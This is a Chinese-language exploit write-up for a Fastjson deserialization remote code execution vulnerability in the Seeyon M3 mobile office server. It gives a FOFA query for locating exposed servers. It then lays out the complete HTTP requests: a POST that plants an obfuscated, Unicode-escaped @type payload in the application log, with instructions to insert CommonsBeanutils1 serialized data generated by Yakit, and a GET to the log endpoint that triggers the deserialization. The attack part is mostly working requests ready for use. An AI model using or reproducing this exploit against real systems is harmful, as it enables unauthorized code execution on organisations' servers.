Z5-3致远互联-M3移动智能办公平台-反序列化RCE

漏洞描述：

致远M3 server中 mobile_portal接口处发现了fastjson反序列化漏洞，漏洞是通过接口/mobile_portal/api/pns/message/send/batch/6_1sp1将恶意payload存入日志中，然后利用/mobile_portal/api/systemLog/pns/loadLog/app.log接口会将日志中的JSON数据进行反序列化的机制触发Fastjson漏洞,造成反序列化远程代码执行。

网站图片:

网络测绘:

fofa语法：

FOFA：title=“M3-Server”

漏洞复现:

payload：

POST /mobile_portal/api/pns/message/send/batch/6_1sp1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/json

[{"userMessageId":"{\"@\u0074\u0079\u0070\u0065\":\"\u0063\u006f\u006d\u002e\u006d\u0063\u0068\u0061\u006e\u0067\u0065\u002e\u0076\u0032\u002e\u0063\u0033\u0070\u0030\u002e\u0057\u0072\u0061\u0070\u0070\u0065\u0072\u0043\u006f\u006e\u006e\u0065\u0063\u0074\u0069\u006f\u006e\u0050\u006f\u006f\u006c\u0044\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\",\"\u0075\u0073\u0065\u0072\u004f\u0076\u0065\u0072\u0072\u0069\u0064\u0065\u0073\u0041\u0073\u0053\u0074\u0072\u0069\u006e\u0067\":\"\u0048\u0065\u0078\u0041\u0073\u0063\u0069\u0069\u0053\u0065\u0072\u0069\u0061\u006c\u0069\u007a\u0065\u0064\u004d\u0061\u0070:HEX;\"}|","channelId":"111","title":"111","content":"222","deviceType":"androidphone","serviceProvider":"baidu","deviceFirm":"other"}]

效果图:
PS：请求体中HEX处放入CB1的序列化数据
Exp-1
使用yakit内置的java反序列化工具构造payload
copy到请求体中hex处，发送请求（将恶意序列化数据插入到日志中)

读取接口日志内容触发Fastjson反序列化

GET /mobile_portal/api/systemLog/pns/loadLog/app.log HTTP/1.1
Host: your-ip
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate